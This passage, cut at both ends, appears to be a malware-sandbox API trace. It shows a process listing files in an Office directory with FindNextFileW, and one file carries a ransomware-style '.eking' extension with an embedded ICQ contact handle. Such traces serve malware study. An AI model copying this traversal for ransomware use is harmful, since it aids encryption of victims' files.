dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0278.008] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.009] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0278.009] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0278.009] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0278.009] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0278.009] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0278.009] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0278.010] GetProcessHeap () returned 0xaf0000 [0278.010] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0278.010] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc9091963, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x7c102, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DBSAMP~1.EKI")) returned 1 [0278.010] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3163050, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3163050, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3163050, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2a658, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0278.010] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45cd2b0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45cd2b0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45cd2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0278.010] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45cd2b0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45cd2b0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45cd2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0278.010] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b09036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1b09036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1b09036, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x295718d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x295718d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x297d49a, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb640, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3863f35, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3863f35, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3863f35, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4848, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41af, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="EADOCU~2.XSN")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99b9a24, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99b9a24, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5101, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="EADOCU~1.XSN")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13e86a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13e86a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd270, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9fabe6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9fabe6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6870, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45f3450, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45f3450, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45f3450, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x173da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="EXCEL_~1.HXC")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="EXCEL_~1.HXT")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="EXCEL_~1.HXK")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="EXCEL_~2.HXK")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3860, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a9e866, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e76730, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e76730, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e76730, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x154b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="frintl.dll", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x31af525, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x31af525, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x50a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="GRAPH_~1.HXC")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="GRAPH_~1.HXT")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="GRAPH_~1.HXK")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="GRAPH_~2.HXK")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3b181c2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3b181c2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3bd6df0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87d4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="GROOVE~1.HXC")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="GROOVE~1.HXT")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, 